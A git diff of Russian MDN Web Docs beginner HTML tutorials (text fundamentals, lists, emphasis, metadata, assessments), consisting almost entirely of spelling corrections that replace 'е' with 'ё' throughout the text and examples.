+<p>четвёртый</p><p>пятый</p><p>шестой</p>
 
                
 
 
                {{htmlelement("em")}} — это строчный элемент, так что, как вы здесь видите, первые три элемента находятся на одной строке друг с другом без пробелов между ними. С другой стороны, {{htmlelement("p")}} — это элемент блочного уровня, так что каждый элемент находится на новой строке, с пространством выше и ниже каждого (этот интервал определяется CSS-оформлением по умолчанию, которое браузеры применяют к абзацам).
                
@@ -232,7 +232,7 @@ textarea.onkeyup = function(){
            -

            Примечание: Не путайте термины «блочный» и «строчный», используемые в этом разделе, с одноименными типами отображения в CSS. Хотя по умолчанию они коррелируют, смена типа отображения в CSS не меняет категорию элемента и не влияет на то, во что его можно вкладывать и что можно вкладывать в него. Эта довольно частая путаница — одна из причин, почему HTML5 отказался от этих терминов.

            +

            Примечание: Не путайте термины «блочный» и «строчный», используемые в этом разделе, с одноимёнными типами отображения в CSS. Хотя по умолчанию они коррелируют, смена типа отображения в CSS не меняет категорию элемента и не влияет на то, во что его можно вкладывать и что можно вкладывать в него. Эта довольно частая путаница — одна из причин, почему HTML5 отказался от этих терминов.

            @@ -268,7 +268,7 @@ textarea.onkeyup = function(){
            1. Пробел между атрибутом и именем элемента (или предыдущим атрибутом, если у элемента уже есть один или несколько атрибутов).
            2. Имя атрибута и следующий за ним знак равенства.
              3. -
            3. Значение атрибута, заключенное в кавычки.
              4. +
            4. Значение атрибута, заключённое в кавычки.

            Активное изучение: Добавление атрибутов в элемент

            @@ -279,7 +279,7 @@ textarea.onkeyup = function(){
            • href: В значении этого атрибута прописывается веб-адрес, на который, по вашей задумке, должна указывать ссылка, куда браузер переходит, когда вы по ней кликаете. Например, href="https://www.mozilla.org/".
              • -
            • title: Атрибут title описывает дополнительную информацию о ссылке, такую как: на какую страницу она ведет. Например, title="The Mozilla homepage". Она появится в виде всплывающей подсказки, когда вы наведете курсор на ссылку.
              • +
            • title: Атрибут title описывает дополнительную информацию о ссылке, такую как: на какую страницу она ведёт. Например, title="The Mozilla homepage". Она появится в виде всплывающей подсказки, когда вы наведёте курсор на ссылку.
            • target: Атрибут target определяет контекст просмотра, который будет использоваться для отображения ссылки. Например, target="_blank" отобразит ссылку на новой вкладке. Если вы хотите отобразить ссылку на текущей вкладке, просто опустите этот атрибут.
            @@ -412,7 +412,7 @@ textarea.onkeyup = function(){ -

            Иногда вы будете видеть атрибуты, написанные без значения — это совершенно допустимо.  Такие атрибуты называются булевые, и они могут иметь только одно значение, которое в основном совпадает с его именем. В качестве примера возьмем атрибут {{htmlattrxref("disabled", "input")}}, который можно назначить для формирования элементов ввода, если вы хотите, чтобы они были отключены (неактивны), так что пользователь не может вводить какие-либо данные в них.

            +

            Иногда вы будете видеть атрибуты, написанные без значения — это совершенно допустимо.  Такие атрибуты называются булевые, и они могут иметь только одно значение, которое в основном совпадает с его именем. В качестве примера возьмём атрибут {{htmlattrxref("disabled", "input")}}, который можно назначить для формирования элементов ввода, если вы хотите, чтобы они были отключены (неактивны), так что пользователь не может вводить какие-либо данные в них.

            <input type="text" disabled="disabled">
            @@ -431,7 +431,7 @@ textarea.onkeyup = function(){ -

            Осматриваясь во всемирной сети, вы будете встречать различные незнакомые способы написания разметки, включая написание значений атрибутов без кавычек. Это допустимо при определенных условиях, но разрушит вашу разметку при других. Например, возвращаясь к нашему упражнению с гиперссылкой, мы можем написать основной вариант только с атрибутом href так:

            +

            Осматриваясь во всемирной сети, вы будете встречать различные незнакомые способы написания разметки, включая написание значений атрибутов без кавычек. Это допустимо при определённых условиях, но разрушит вашу разметку при других. Например, возвращаясь к нашему упражнению с гиперссылкой, мы можем написать основной вариант только с атрибутом href так:

            <a href=https://www.mozilla.org/>любимый веб-сайт</a>
            @@ -459,7 +459,7 @@ textarea.onkeyup = function(){ 
            <a href="http://www.example.com'>Ссылка к моему примеру.</a>
            -

            Если вы используете один тип кавычек в своем HTML, то вы можете поместить внутрь их кавычки другого типа, не вызывая никаких проблем:

            +

            Если вы используете один тип кавычек в своём HTML, то вы можете поместить внутрь их кавычки другого типа, не вызывая никаких проблем:

            <a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a>
            @@ -745,7 +745,7 @@ textarea.onkeyup = function(){

            Вы дошли до конца статьи — надеемся, вам понравилось путешествие по основам HTML. На этом этапе вы уже должны немного разобраться, как выглядит язык, как он работает на базовом уровне и уметь описать несколько элементов и атрибутов. Сейчас идеальное время и место, чтобы продолжить изучать HTML. В последующих статьях мы рассмотрим некоторые из вещей, которые вы уже рассмотрели, но намного подробнее, а также представим некоторые новые функции языка. Оставайтесь с нами!

            -

            Примечание: Сейчас, когда вы начинаете больше узнавать о HTML, вы также можете начать изучать основы каскадных таблиц стилей Cascading Style Sheets, или CSS. CSS — это язык, который используется для стилизации веб-страниц (например, изменение шрифта или цветов или изменение макета страницы). Как вы скоро поймете, HTML и CSS созданы друг для друга.

            +

            Примечание: Сейчас, когда вы начинаете больше узнавать о HTML, вы также можете начать изучать основы каскадных таблиц стилей Cascading Style Sheets, или CSS. CSS — это язык, который используется для стилизации веб-страниц (например, изменение шрифта или цветов или изменение макета страницы). Как вы скоро поймёте, HTML и CSS созданы друг для друга.

            Смотрите также

            @@ -765,7 +765,7 @@ textarea.onkeyup = function(){
          6. Что такое заголовок? Метаданные в HTML
          7. Основы редактирования текста в HTML
          8. Создание гиперссылок
            9. -
          9. Углубленное форматирование текста
            10. +
          10. Углублённое форматирование текста
          11. Структура документа и веб-сайта
          12. Отладка HTML
          13. Разметка письма
            14. diff --git a/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html b/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html index 1adc27c159..d27868014a 100644 --- a/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html +++ b/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html @@ -31,7 +31,7 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals
          - +
          Они делают то, чего вы от них ожидаете в математике. -, *, / 9 - 3;
          - 8 * 2; // умножение в JS это звездочка
          + 8 * 2; // умножение в JS это звёздочка
          9 / 3;
          Задача:Изучить базовые способы разметки текста путем добавлением на страницу структуры и значения — создать абзацы, заголовки, списки, акценты и цитаты..Изучить базовые способы разметки текста путём добавлением на страницу структуры и значения — создать абзацы, заголовки, списки, акценты и цитаты..
          @@ -42,13 +42,13 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals

          An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs.

          -

          Упорядоченный контент делает чтение более легким и приятным.

          +

          Упорядоченный контент делает чтение более лёгким и приятным.

          -

          В HTML каждый абзац заключен в элемент {{htmlelement("p")}}, подобно:

          +

          В HTML каждый абзац заключён в элемент {{htmlelement("p")}}, подобно:

          <p>Я параграф, да, это я.</p>
          -

          Каждый заголовок заключен в элемент заголовка {{htmlelement("h1")}}:

          +

          Каждый заголовок заключён в элемент заголовка {{htmlelement("h1")}}:

          <h1>Я заголовок истории.</h1>
          @@ -62,9 +62,9 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals <p> Крис Миллс </ p> -<h2> Глава 1: Темная ночь </ h2> +<h2> Глава 1: Тёмная ночь </ h2> -<p> Это была темная ночь. Где-то кричала сова. Дождь обрушился на ... </ p> +<p> Это была тёмная ночь. Где-то кричала сова. Дождь обрушился на ... </ p> <h2> Глава 2: Вечное молчание </ h2> @@ -79,15 +79,15 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals
          • Предпочтительнее использовать <h1> только один раз на странице — это заголовок самого верхнего уровня, и все остальные заголовки располагаются ниже его в иерархии.
            • -
          • Убедитесь, что вы используете заголовки в правильном порядке в иерархии.  Не используйте <h3> для создания подзаголовков при одновременном использовании <h2> для представления под-подзаголовков — это не имеет смысла и приведет к странным результатам.
            • -
          • Из шести доступных уровней заголовка вы должны стремиться использовать не более трех на странице, если только вы не чувствуете, что это необходимо. Документы с большим количеством уровней (то есть с глубокой иерархией) становятся громоздкими и трудными для навигации. В таких случаях рекомендуется распределять контент по нескольким страницам, если это возможно.
            • +
          • Убедитесь, что вы используете заголовки в правильном порядке в иерархии.  Не используйте <h3> для создания подзаголовков при одновременном использовании <h2> для представления под-подзаголовков — это не имеет смысла и приведёт к странным результатам.
            • +
          • Из шести доступных уровней заголовка вы должны стремиться использовать не более трёх на странице, если только вы не чувствуете, что это необходимо. Документы с большим количеством уровней (то есть с глубокой иерархией) становятся громоздкими и трудными для навигации. В таких случаях рекомендуется распределять контент по нескольким страницам, если это возможно.

          Зачем нам необходима структура?

          -

          Чтобы ответить на этот вопрос, давайте посмотрим на text-start.html — отправную точку нашего примера для этой статьи (хороший рецепт хумуса). Вы должны сохранить копию этого файла на своем локальном компьютере, так как вам понадобится это для упражнений позже. Сейчас тело этого документа содержит несколько фрагментов контента — они не отмечены каким-либо образом, но они разделены разрывами строк (был нажат Enter / Return  для перехода на следующую строку).

          +

          Чтобы ответить на этот вопрос, давайте посмотрим на text-start.html — отправную точку нашего примера для этой статьи (хороший рецепт хумуса). Вы должны сохранить копию этого файла на своём локальном компьютере, так как вам понадобится это для упражнений позже. Сейчас тело этого документа содержит несколько фрагментов контента — они не отмечены каким-либо образом, но они разделены разрывами строк (был нажат Enter / Return  для перехода на следующую строку).

          -

          Однако, когда вы откроете документ в своем браузере, вы увидите, что текст выглядит как один большой кусок!

          +

          Однако, когда вы откроете документ в своём браузере, вы увидите, что текст выглядит как один большой кусок!

          A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it.

          @@ -238,7 +238,7 @@ textarea.onkeyup = function(){

          Почему мы нуждаемся в семантике?

          -

          Семантика проявляется всюду вокруг нас — мы полагаемся на опыт, который рассказывает нам, какова функция бытовых предметов; когда мы что-то видим, мы знаем, какова его функция. Так, например, мы ожидаем, что красный свет на светофоре означает «стоп», а зеленый свет означает «идти». Жизнь станет очень сложной, если применяется неправильная семантика (какие-либо страны используют красный цвет для обозначения «идти»? Надеюсь, что нет.)

          +

          Семантика проявляется всюду вокруг нас — мы полагаемся на опыт, который рассказывает нам, какова функция бытовых предметов; когда мы что-то видим, мы знаем, какова его функция. Так, например, мы ожидаем, что красный свет на светофоре означает «стоп», а зелёный свет означает «идти». Жизнь станет очень сложной, если применяется неправильная семантика (какие-либо страны используют красный цвет для обозначения «идти»? Надеюсь, что нет.)

          В подобном ключе нам нужно убедиться, что мы используем правильные элементы, придавая нашему контенту правильное значение, функцию или внешний вид. В этом контексте элемент {{htmlelement ("h1")}} также является семантическим элементом, который даёт тексту, который он обёртывает,  роль (или значение) «заголовка верхнего уровня на вашей странице».

          @@ -258,7 +258,7 @@ textarea.onkeyup = function(){

          Неупорядоченные

          -

          Неупорядоченные списки используются для элементов, для которых порядок не имеет значения, — возьмем, к примеру, список покупок:

          +

          Неупорядоченные списки используются для элементов, для которых порядок не имеет значения, — возьмём, к примеру, список покупок:

          молоко
 яйца
@@ -411,12 +411,12 @@ textarea.onkeyup = function(){
 
 
          Упорядоченные
          
 
-
          Упорядоченные списки — это списки, в которых порядок элементов имеет значение, — возьмем в качестве примера маршрут следования:
          
+
          Упорядоченные списки — это списки, в которых порядок элементов имеет значение, — возьмём в качестве примера маршрут следования:
          
 
 
          Двигайтесь до конца дороги
 Поверните направо
-Езжайте прямо через первые два перекрестка с круговым движением
-Поверните налево на третьем перекрестке
+Езжайте прямо через первые два перекрёстка с круговым движением
+Поверните налево на третьем перекрёстке
 Школа справа от вас, 300 метров вверх по дороге
          
 
 
          Структура разметки такая же, как для неупорядоченных списков, за исключением того, что вы должны обернуть элементы списка в элемент {{htmlelement ("ol")}} (ordered list), а не <ul>:
          
@@ -424,8 +424,8 @@ textarea.onkeyup = function(){
 
          <ol>
    <li>Двигайтесь до конца дороги</li>
    <li>Поверните направо</li>
-   <li>Езжайте прямо через первые два перекрестка с круговым движением</li>
-   <li>Поверните налево на третьем перекрестке</li>
+   <li>Езжайте прямо через первые два перекрёстка с круговым движением</li>
+   <li>Поверните налево на третьем перекрёстке</li>
    <li>Школа справа от вас, в 300 метрах вверх по дороге</li>
 </ol>
          
 
@@ -444,8 +444,8 @@ textarea.onkeyup = function(){
 
 <textarea id="code" class="input" style="min-height: 200px; width: 95%">          Двигайтесь до конца дороги
 Поверните направо
-Езжайте прямо через первые два перекрестка с круговым движением
-Поверните налево на третьем перекрестке
+Езжайте прямо через первые два перекрёстка с круговым движением
+Поверните налево на третьем перекрёстке
 Школа справа от вас, 300 метров вверх по дороге</textarea>
 
 <div class="playable-buttons">
@@ -517,7 +517,7 @@ solution.addEventListener('click', function() {
   updateCode();
 });
 
-var htmlSolution = '<ol>\n<li>Двигайтесь до конца дороги</li>\n<li>Поверните направо</li>\n<li>Езжайте прямо через первые два перекрестка с круговым движением</li>\n<li>Поверните налево на третьем перекрестке</li>\n<li>Школа справа от вас, 300 метров вверх по дороге</li>\n</ol>';
+var htmlSolution = '<ol>\n<li>Двигайтесь до конца дороги</li>\n<li>Поверните направо</li>\n<li>Езжайте прямо через первые два перекрёстка с круговым движением</li>\n<li>Поверните налево на третьем перекрёстке</li>\n<li>Школа справа от вас, 300 метров вверх по дороге</li>\n</ol>';
 var solutionEntry = htmlSolution;
 
 textarea.addEventListener('input', updateCode);
@@ -601,7 +601,7 @@ textarea.onkeyup = function(){
   Если вы хотите "грубый" хумус, измельчайте пару минут.
   Если вам нужен гладкий хумус, измельчайте дольше.
 
-  По вкусу вы также можете добавить в небольших количествах лимон с кориандром, перец чили, лайм с чипотле, хариссу с мятой или же шпинат с брынзой. Попробуйте и решите, что подойдет вам.
+  По вкусу вы также можете добавить в небольших количествах лимон с кориандром, перец чили, лайм с чипотле, хариссу с мятой или же шпинат с брынзой. Попробуйте и решите, что подойдёт вам.
 
   Хранение
 
@@ -725,7 +725,7 @@ textarea.onkeyup = function(){
 
 
          Вложенные списки
          
 
-
          Вполне нормально вложить один список в другой. Возможно, вы захотите, чтобы один список располагался внутри другого. Давайте возьмем второй список из нашего примера рецепта:
          
+
          Вполне нормально вложить один список в другой. Возможно, вы захотите, чтобы один список располагался внутри другого. Давайте возьмём второй список из нашего примера рецепта:
          
 
 
          <ol>
   <li>Очистите чеснок от кожуры и крупно нарежьте.</li>
@@ -757,14 +757,14 @@ textarea.onkeyup = function(){
 
          Акцент и важность
          
 
 
          
-
          В обиходе мы часто подчеркиваем определённые слова, чтобы изменить смысл предложения и мы часто хотим отметить некоторые слова как важные или разные в некотором роде. HTML предоставляет различные семантические элементы, позволяющие нам добавлять текстовые материалы с такими эффектами, и в этом разделе мы рассмотрим несколько наиболее распространенных.
          
+
          В обиходе мы часто подчёркиваем определённые слова, чтобы изменить смысл предложения и мы часто хотим отметить некоторые слова как важные или разные в некотором роде. HTML предоставляет различные семантические элементы, позволяющие нам добавлять текстовые материалы с такими эффектами, и в этом разделе мы рассмотрим несколько наиболее распространенных.
          
 
 
          
 
          
 
 
          Акцент
          
 
-
          Когда мы хотим добавить акцент в разговорный язык, мы подчеркиваем определенные слова, тонко изменяя смысл того, что мы говорим. Точно так же на письменном языке мы склонны подчеркивать слова, выделяя их курсивом. Например, следующие два предложения имеют разные значения.
          
+
          Когда мы хотим добавить акцент в разговорный язык, мы подчёркиваем определённые слова, тонко изменяя смысл того, что мы говорим. Точно так же на письменном языке мы склонны подчёркивать слова, выделяя их курсивом. Например, следующие два предложения имеют разные значения.
          
 
 
          Я рад, что ты не опоздал.
          
 
@@ -778,7 +778,7 @@ textarea.onkeyup = function(){
 
 
          Важное значение
          
 
-
          Чтобы подчеркнуть важные слова, мы склонны подчеркивать их в устной речи и выделять жирным на письменном языке. Например:
          
+
          Чтобы подчеркнуть важные слова, мы склонны подчёркивать их в устной речи и выделять жирным на письменном языке. Например:
          
 
 
          Эта жидкость очень токсична.
          
  
          
@@ -928,23 +928,23 @@ textarea.onkeyup = function(){
 
          Курсив, жирный шрифт, подчеркивание...
          
 
 
          
-
          Элементы, которые мы обсуждали до сих пор, имеют четкую привязку к семантике. Ситуация с {{htmlelement ("b")}}, {{htmlelement ("i")}} и {{htmlelement ("u")}} несколько сложнее. Они появились в эпоху, когда CSS  поддерживался плохо или вообще не поддерживался, чтобы люди могли писать жирный текст, курсив или подчеркнутый текст. Такие элементы, которые влияют только на внешний вид, а не на семантику, известны как элементы представления и больше не должны использоваться, поскольку, как мы видели ранее, семантика очень важна для доступности людям с ограниченными возможностями, SEO и так далее.
          
+
          Элементы, которые мы обсуждали до сих пор, имеют чёткую привязку к семантике. Ситуация с {{htmlelement ("b")}}, {{htmlelement ("i")}} и {{htmlelement ("u")}} несколько сложнее. Они появились в эпоху, когда CSS  поддерживался плохо или вообще не поддерживался, чтобы люди могли писать жирный текст, курсив или подчёркнутый текст. Такие элементы, которые влияют только на внешний вид, а не на семантику, известны как элементы представления и больше не должны использоваться, поскольку, как мы видели ранее, семантика очень важна для доступности людям с ограниченными возможностями, SEO и так далее.
          
 
 
          
 
          
 
 
          HTML5 переопределил <b>, <i> и <u> с новыми, несколько запутанными, семантическими ролями.
          
 
-
          Вот хорошее правило: предпочтительней использовать <b>, <i> или <u> для передачи значения, традиционно передаваемого жирным шрифтом, курсивом или подчеркиванием, при условии, что нет более подходящего элемента. Тем не менее, всегда важно сохранить менталитет доступности. Концепция курсива не очень помогает людям, использующим устройства для чтения с экрана, или людям, использующим систему письма, отличную от латинского алфавита.
          
+
          Вот хорошее правило: предпочтительней использовать <b>, <i> или <u> для передачи значения, традиционно передаваемого жирным шрифтом, курсивом или подчёркиванием, при условии, что нет более подходящего элемента. Тем не менее, всегда важно сохранить менталитет доступности. Концепция курсива не очень помогает людям, использующим устройства для чтения с экрана, или людям, использующим систему письма, отличную от латинского алфавита.
          
 
 
            
  
          • {{HTMLElement ('i')}} используется для передачи значения, традиционно передаваемого курсивом: иностранные слова, таксономические обозначения, технические термины, мысли ...
            • 
  
          • {{HTMLElement ('b')}} используется для передачи значения, традиционно передаваемого жирным шрифтом: ключевые слова, названия продуктов, предложения ...
            • 
- 
          • {{HTMLElement ('u')}} используется для передачи значения, традиционно передаваемого подчеркиванием: имя собственное, орфографическая ошибка ...
            • 
+ 
          • {{HTMLElement ('u')}} используется для передачи значения, традиционно передаваемого подчёркиванием: имя собственное, орфографическая ошибка ...
            • 
 
          
 
 
          
-
          Предупреждение о подчеркивании: люди сильно ассоциируют подчеркивание с гиперссылками. Поэтому в Интернете лучше всего подчеркнуть только ссылки. Используйте элемент <u>, когда он семантически подходит, но подумайте о том, чтобы использовать CSS для изменения подчеркивания по умолчанию для чего-то более подходящего в Интернете. Пример ниже иллюстрирует, как это можно сделать.
          
+
          Предупреждение о подчёркивании: люди сильно ассоциируют подчёркивание с гиперссылками. Поэтому в Интернете лучше всего подчеркнуть только ссылки. Используйте элемент <u>, когда он семантически подходит, но подумайте о том, чтобы использовать CSS для изменения подчёркивания по умолчанию для чего-то более подходящего в Интернете. Пример ниже иллюстрирует, как это можно сделать.
          
 
          
 
 
          <!-- Научные наименования -->
@@ -987,7 +987,7 @@ textarea.onkeyup = function(){
  
        • Что такое заголовок? Метаданные в HTML
          • 
  
        • Основы редактирования текста в HTML
          • 
  
        • Создание гиперссылок
          • 
- 
        • Углубленное форматирование текста
          • 
+ 
        • Углублённое форматирование текста
          • 
  
        • Структура документа и веб-сайта
          • 
  
        • Отладка HTML
          • 
  
        • Разметка письма
          • 
diff --git a/files/ru/learn/html/introduction_to_html/index.html b/files/ru/learn/html/introduction_to_html/index.html
index c914c8ff27..9d847f1dfe 100644
--- a/files/ru/learn/html/introduction_to_html/index.html
+++ b/files/ru/learn/html/introduction_to_html/index.html
@@ -41,17 +41,17 @@ original_slug: Learn/HTML/Введение_в_HTML
  
          Основной задачей HTML является придание тексту значения (также известно, как семантика), чтобы браузер знал, как его правильно отображать. В этой статье рассматривается то, как использовать HTML, чтобы разбить блок текста на структуру из заголовков и абзацев, добавить акцент/значение слов, создать списки и многое другое.
          
  
          Создание гиперссылок
          
  
          Гиперссылки очень важны — ведь именно они делают интернет интернетом. В этой статье описан синтаксис, необходимый для создания ссылок, а также описано их наилучшее применение на практике.
          
- 
          Углубленное форматирование текста
          
+ 
          Углублённое форматирование текста
          
  
          Существует множество других элементов HTML для редактирования текста, про которые мы вам не рассказали в статье Основы редактирования текста в HTML. Описанные здесь элементы менее известны, но о них также полезно знать. Здесь вы узнаете о разметке цитат, списках описания, компьютерном коде и другом сопутствующем тексте, нижнем и верхнем индексах, контактной информации и многом другом.
          
  
          Структура документа и веб-сайта
          
  
          Помимо определения отдельных частей страницы (таких как "абзац" или "изображение"), HTML также используется для определения отдельных зон веб-сайта (таких как "шапка", "меню навигации",  "столбец с основным содержимым".) В этой статье рассматривается, как планировать базовую структуру веб-сайта и писать HTML для представления этой структуры.
          
  
          Отладка HTML
          
- 
          Писать на HTML хорошо, но что, если что-то идет не так, и вы не можете найти место ошибки в коде? В этой статье вы познакомитесь с некоторыми инструментами, которые могут Вам помочь.
          
+ 
          Писать на HTML хорошо, но что, если что-то идёт не так, и вы не можете найти место ошибки в коде? В этой статье вы познакомитесь с некоторыми инструментами, которые могут Вам помочь.
          
 
 
 
          Оценка
          
 
-
          Следующие задания проверят ваше понимание основ HTML, описанных в приведенных выше руководствах.
          
+
          Следующие задания проверят ваше понимание основ HTML, описанных в приведённых выше руководствах.
          
 
 
          
  
          Разметка письма
          
@@ -64,5 +64,5 @@ original_slug: Learn/HTML/Введение_в_HTML
 
 
          
  
          Основы интернет-грамотности
          
- 
          Отличный фундаментальный курс Mozilla, который дает множество тестов, проверяющих знания, о которых мы говорили в модуле Введение в HTML. Учащиеся знакомятся с чтением, письмом и использованием сети в модуле из 6 частей. Откройте для себя основы Интернета через производство и сотрудничество.
          
+ 
          Отличный фундаментальный курс Mozilla, который даёт множество тестов, проверяющих знания, о которых мы говорили в модуле Введение в HTML. Учащиеся знакомятся с чтением, письмом и использованием сети в модуле из 6 частей. Откройте для себя основы Интернета через производство и сотрудничество.
          
 
          
diff --git a/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html
index 4638bb8c24..26d593df31 100644
--- a/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html
+++ b/files/ru/learn/html/introduction_to_html/marking_up_a_letter/index.html
@@ -17,7 +17,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Marking_up_a_letter
   
    Знания:
    
-    
          Перед выполнением этого задания вы должны пройти Начало работы с HTML, Что такое заголовок? Метаданные в HTML, Основы редактирования текста в HTML, Создание гиперссылок, и Углубленное форматирование текста.
          
+    
          Перед выполнением этого задания вы должны пройти Начало работы с HTML, Что такое заголовок? Метаданные в HTML, Основы редактирования текста в HTML, Создание гиперссылок, и Углублённое форматирование текста.
          
    
   
   
@@ -50,7 +50,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Marking_up_a_letter
 
 
            
  
          • Имена отправителя и получателя (как и "Tel" и "Email") должны быть выделены жирным.
            • 
- 
          • Четырем датам в документе необходимо выбрать правильные элементы содержащие машинно-читаемые даты.
            • 
+ 
          • Четырём датам в документе необходимо выбрать правильные элементы содержащие машинно-читаемые даты.
            • 
  
          • Первый адрес и первая дата в письме должны иметь атрибут class со значением "sender-column"; CSS стиль, который вы добавите позже, позволит выравнять по правому боку, как оно и должно быть в классической разметке письма.
            • 
  
          • Пять акронимов/аббревиатур в главном тексте письма должны быть размечены, чтобы предоставить подсказки для каждого акронима/аббревиатуры.
            • 
  
          • Шесть под/надстрочных элементов должны быть оформлены корректно в химической формуле, как и числа 103 и 104 (степень числа должна быть над числом).
            • 
@@ -94,7 +94,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Marking_up_a_letter
  
          • Что такое заголовок? Метаданные в HTML
            • 
  
          • Основы редактирования текста в HTML
            • 
  
          • Создание гиперссылок
            • 
- 
          • Углубленное форматирование текста
            • 
+ 
          • Углублённое форматирование текста
            • 
  
          • Структура документа и веб-сайта
            • 
  
          • Отладка HTML
            • 
  
          • Разметка письма
            • 
diff --git a/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html b/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html
index 3f0fe71917..f5a62ee916 100644
--- a/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html
+++ b/files/ru/learn/html/introduction_to_html/structuring_a_page_of_content/index.html
@@ -10,7 +10,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content
 
 
            {{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}
            
 
-
            Разметить страницу так, чтобы к ней было просто применить CSS — первое, чему должен научиться будущий веб-разработчик. В этом задании вам придется подумать о том, как должна выглядеть страница, и подобрать подходящую семантическую разметку.
            
+
            Разметить страницу так, чтобы к ней было просто применить CSS — первое, чему должен научиться будущий веб-разработчик. В этом задании вам придётся подумать о том, как должна выглядеть страница, и подобрать подходящую семантическую разметку.
            
 
 
@@ -21,7 +21,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content
   
@@ -49,7 +49,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content
  
          • Нижний колонтитул, содержащий информацию об авторских правах и разработчиках.
            • 
 
-
            Вам необходимо добавить подходящую обертку для:
            
+
            Вам необходимо добавить подходящую обёртку для:
              
  
            • Заголовка
              • 
@@ -63,7 +63,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content
 
              Вы также должны:
              
 
 
                
- 
              • Примените предоставленный CSS к странице, добавив еще один элемент {{htmlelement ("link")}} чуть ниже существующего, указанного в начале.
                • 
+ 
              • Примените предоставленный CSS к странице, добавив ещё один элемент {{htmlelement ("link")}} чуть ниже существующего, указанного в начале.
                • 
 
              
 
 
              Советы и подсказки
              
@@ -71,7 +71,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content
 
                
  
              • Используйте W3C HTML validator для проверки вашего HTML; вы получите бонусные баллы, если он будет проверять как можно больше (строка «googleapis» используется для импорта пользовательских шрифтов на страницу из службы Google Fonts, она не проверяет, но не беспокойтесь об этом слишком много - валидатор - полезный инструмент, но 100% проверка является идеальной, а не полностью необходимой).
                • 
  
              • Вам не нужно знать CSS, чтобы сделать эту оценку; вам просто нужно поместить предоставленный CSS внутри HTML-элемента.
                • 
- 
              • Предоставленный CSS разработан таким образом, что при добавлении правильных структурных элементов в разметку они будут отображаться зелеными на отображаемой странице.
                • 
+ 
              • Предоставленный CSS разработан таким образом, что при добавлении правильных структурных элементов в разметку они будут отображаться зелёными на отображаемой странице.
                • 
  
              • Если вы застряли и не можете понять, какие элементы куда помещать, часто помогает вывести простую блок-схему макета страницы и сделать надписи на элементах, которые, по вашему мнению, должны обернуть каждый блок.
                • 
 
              
 
@@ -94,7 +94,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Structuring_a_page_of_content
  
            • Что такое заголовок? Метаданные в HTML
              • 
  
            • Основы редактирования текста в HTML
              • 
  
            • Создание гиперссылок
              • 
- 
            • Углубленное форматирование текста
              • 
+ 
            • Углублённое форматирование текста
              • 
  
            • Структура документа и веб-сайта
              • 
  
            • Отладка HTML
              • 
  
            • Разметка письма
              • 
diff --git a/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html
index 6c762e94ac..0635ec9342 100644
--- a/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html
+++ b/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html
@@ -60,14 +60,14 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML
   </body>
 </html>
 
-
              Содержимое {{htmlelement("head")}}, в отличие от содержимого элемента {{htmlelement("body")}}, не отображается на странице. Задача <head> — хранить {{glossary("Metadata", "метаданные")}} документа. В приведенном выше примере <head> совсем небольшой:
              
+
              Содержимое {{htmlelement("head")}}, в отличие от содержимого элемента {{htmlelement("body")}}, не отображается на странице. Задача <head> — хранить {{glossary("Metadata", "метаданные")}} документа. В приведённом выше примере <head> совсем небольшой:
              
 
 
              <head>
   <meta charset="utf-8">
   <title>Моя тестовая страница</title>
 </head>
              
 
-
              Однако на больших страницах блок <head> может быть довольно объемным. Попробуйте зайти на какие-нибудь из ваших любимых сайтов и посмотреть содержимое <head> с помощью инструментов разработчика. Наша цель сейчас — не в том, чтобы показать вам, как использовать всё, что только можно добавить в head, а дать представление и научить вас, как использовать основные элементы. Давайте начнем.
              
+
              Однако на больших страницах блок <head> может быть довольно объёмным. Попробуйте зайти на какие-нибудь из ваших любимых сайтов и посмотреть содержимое <head> с помощью инструментов разработчика. Наша цель сейчас — не в том, чтобы показать вам, как использовать всё, что только можно добавить в head, а дать представление и научить вас, как использовать основные элементы. Давайте начнем.
              
 
 
              Название страницы (title)
              
 
@@ -174,7 +174,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML
 
 
              Другие виды метаданных
              
 
-
              В сети вы найдете также другие типы метаданных. Многие из них — это собственные форматы, созданные для предоставления определенным сайтам (например, социальных сетей) специальной информации, которую они могут использовать.
              
+
              В сети вы найдёте также другие типы метаданных. Многие из них — это собственные форматы, созданные для предоставления определённым сайтам (например, социальных сетей) специальной информации, которую они могут использовать.
              
 
 
              Например, Протокол Open Graph создан Facebook чтобы предоставить сайтам дополнительные возможности использования метаданных. В исходном коде MDN Web Docs вы можете найти строки:
              
 
@@ -187,7 +187,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML
 
 
